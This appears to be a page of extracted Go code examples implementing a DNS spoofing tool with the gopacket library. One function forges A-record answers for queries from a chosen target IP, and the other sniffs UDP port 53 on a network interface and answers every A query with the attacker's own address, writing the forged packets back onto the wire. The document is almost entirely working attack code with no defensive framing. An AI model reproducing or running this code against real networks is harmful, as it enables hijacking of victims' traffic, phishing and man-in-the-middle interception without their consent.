Example #1
0
/*
    FUNCTION: craftAnswer(ethernetLayer *layers.Ethernet, ipLayer *layers.IPv4, dnsLayer *layers.DNS, udpLayer *layers.UDP) []byte{
    RETURNS: Byte array containing the spoofed response DNS packet data
    ARGUMENTS:
								*layers.Ethernet ethernetLayer - the ethernet part of the packet recieved
								*layers.DNS dnsLayer - the dns part of the packet recieved
                *layers.IPv4 ipLayer - the ip part of the packet recieved
                *layers.UDP udpLayer - the udp part of the packet recieved

    ABOUT:
    Crafts a spoofed dns packet using the incoming query.
*/
func craftAnswer(ethernetLayer *layers.Ethernet, ipLayer *layers.IPv4, dnsLayer *layers.DNS, udpLayer *layers.UDP) []byte {

	//if not a question return
	if dnsLayer.QR || ipLayer.SrcIP.String() != target {
		return nil
	}

	//must build every layer to send DNS packets
	ethMac := ethernetLayer.DstMAC
	ethernetLayer.DstMAC = ethernetLayer.SrcMAC
	ethernetLayer.SrcMAC = ethMac

	ipSrc := ipLayer.SrcIP
	ipLayer.SrcIP = ipLayer.DstIP
	ipLayer.DstIP = ipSrc

	srcPort := udpLayer.SrcPort
	udpLayer.SrcPort = udpLayer.DstPort
	udpLayer.DstPort = srcPort
	err = udpLayer.SetNetworkLayerForChecksum(ipLayer)
	checkError(err)

	var answer layers.DNSResourceRecord
	answer.Type = layers.DNSTypeA
	answer.Class = layers.DNSClassIN
	answer.TTL = 200
	answer.IP = ipAddr

	dnsLayer.QR = true

	for _, q := range dnsLayer.Questions {
		if q.Type != layers.DNSTypeA || q.Class != layers.DNSClassIN {
			continue
		}

		answer.Name = q.Name

		dnsLayer.Answers = append(dnsLayer.Answers, answer)
		dnsLayer.ANCount = dnsLayer.ANCount + 1
	}

	buf := gopacket.NewSerializeBuffer()
	opts := gopacket.SerializeOptions{
		FixLengths:       true,
		ComputeChecksums: true,
	}

	err = gopacket.SerializeLayers(buf, opts, ethernetLayer, ipLayer, udpLayer, dnsLayer)
	checkError(err)

	return buf.Bytes()
}
Example #2
0
/*
Spoof is the entry point for the actual spoofing subroutine.

Spoof handles getting packets from the NICs, identifying DNS
queries, and seding responses. It is mostly concerened with
the packet level logic, and does not manipulate the responses
themselves
*/
func spoof(ifacename string) {

	// get our local ip
	ip := getIfaceAddr(ifacename)
	if ip == nil {
		panic("Unable to get IP")
	}

	// open a handle to the network card(s)
	ifaceHandle, err := pcap.OpenLive(ifacename, 1600, true, pcap.BlockForever)
	if err != nil {
		panic(err)
	}

	defer ifaceHandle.Close()

	// set the filter
	err = ifaceHandle.SetBPFFilter("udp and dst port 53")
	if err != nil {
		// not fatal
		fmt.Printf("Unable to set filter: %v\n", err.Error())
	}

	// pre-allocate all the space needed for the layers
	var ethLayer layers.Ethernet
	var ipv4Layer layers.IPv4
	var udpLayer layers.UDP
	var dnsLayer layers.DNS

	var q layers.DNSQuestion
	var a layers.DNSResourceRecord

	// create the decoder for fast-packet decoding
	// (using the fast decoder takes about 10% the time of normal decoding)
	decoder := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, &ethLayer, &ipv4Layer, &udpLayer, &dnsLayer)

	// this slick will hold the names of the layers successfully decoded
	decodedLayers := make([]gopacket.LayerType, 0, 4)

	// pre-create the response with most of the data filled out
	a.Type = layers.DNSTypeA
	a.Class = layers.DNSClassIN
	a.TTL = 300
	a.IP = ip

	// create a buffer for writing output packet
	outbuf := gopacket.NewSerializeBuffer()
	// TODO (Optionally) replace with NewSerializeBufferExpectedSize to speed up a bit more

	// set the arguments for serialization
	serialOpts := gopacket.SerializeOptions{
		FixLengths:       true,
		ComputeChecksums: true,
	}

	// pre-allocate loop counter
	var i uint16

	// swap storage for ip and udp fields
	var ipv4Addr net.IP
	var udpPort layers.UDPPort
	var ethMac net.HardwareAddr

	// Main loop for dns packets intercepted
	// No new allocations after this point to keep garbage collector
	// cyles at a minimum
	for {
		packetData, _, err := ifaceHandle.ZeroCopyReadPacketData()

		if err != nil {
			break
		}

		fmt.Println("Got packet from filter")

		// decode this packet using the fast decoder
		err = decoder.DecodeLayers(packetData, &decodedLayers)
		if err != nil {
			fmt.Println("Decoding error!")
			continue
		}

		// only proceed if all layers decoded
		if len(decodedLayers) != 4 {
			fmt.Println("Not enough layers!")
			continue
		}

		// check that this is not a response
		if dnsLayer.QR {
			continue
		}

		// print the question section
		for i = 0; i < dnsLayer.QDCount; i++ {
			fmt.Println(string(dnsLayer.Questions[i].Name))
		}

		// set this to be a response
		dnsLayer.QR = true

		// if recursion was requested, it is available
		if dnsLayer.RD {
			dnsLayer.RA = true
		}

		// for each question
		for i = 0; i < dnsLayer.QDCount; i++ {

			// get the question
			q = dnsLayer.Questions[i]

			// verify this is an A-IN record question
			if q.Type != layers.DNSTypeA || q.Class != layers.DNSClassIN {
				continue
			}

			// copy the name across to the response
			a.Name = q.Name

			// append the answer to the original query packet
			dnsLayer.Answers = append(dnsLayer.Answers, a)
			dnsLayer.ANCount = dnsLayer.ANCount + 1

		}

		// swap ethernet macs
		ethMac = ethLayer.SrcMAC
		ethLayer.SrcMAC = ethLayer.DstMAC
		ethLayer.DstMAC = ethMac

		// swap the ip
		ipv4Addr = ipv4Layer.SrcIP
		ipv4Layer.SrcIP = ipv4Layer.DstIP
		ipv4Layer.DstIP = ipv4Addr

		// swap the udp ports
		udpPort = udpLayer.SrcPort
		udpLayer.SrcPort = udpLayer.DstPort
		udpLayer.DstPort = udpPort

		// set the UDP to be checksummed by the IP layer
		err = udpLayer.SetNetworkLayerForChecksum(&ipv4Layer)
		if err != nil {
			panic(err)
		}

		// serialize packets
		err = gopacket.SerializeLayers(outbuf, serialOpts, &ethLayer, &ipv4Layer, &udpLayer, &dnsLayer)
		if err != nil {
			panic(err)
		}

		// write packet
		err = ifaceHandle.WritePacketData(outbuf.Bytes())
		if err != nil {
			panic(err)
		}

		fmt.Println("Response sent")

		// comment out for debugging
		continue

		// DEBUGGG--------------------------------------------------------------

		err = decoder.DecodeLayers(outbuf.Bytes(), &decodedLayers)
		if err != nil {
			fmt.Println("Decoding error: " + err.Error())
			continue
		}

		// only proceed if all layers decoded
		if len(decodedLayers) != 4 {
			fmt.Println("Not enough layers!")
			for j := range decodedLayers {
				fmt.Println(decodedLayers[j])
			}
			continue
		}

		// print packet
		fmt.Printf("IP src %v\n", ipv4Layer.SrcIP)
		fmt.Printf("IP dst %v\n", ipv4Layer.DstIP)
		fmt.Printf("UDP src port: %v\n", udpLayer.SrcPort)
		fmt.Printf("UDP dst port: %v\n", udpLayer.DstPort)
		fmt.Printf("DNS Quy count: %v\n", dnsLayer.QDCount)
		// print the question section
		for i = 0; i < dnsLayer.QDCount; i++ {
			fmt.Printf("%v\n", string(dnsLayer.Questions[i].Name))
		}
		fmt.Printf("DNS Ans count: %v\n", dnsLayer.ANCount)

		// print the question section
		for i = 0; i < dnsLayer.ANCount; i++ {
			fmt.Printf("%v type %v\n", string(dnsLayer.Answers[i].Name), dnsLayer.Answers[i].Type)
			fmt.Printf("\t%v\n", dnsLayer.Answers[i].IP)
		}

		break

	}
}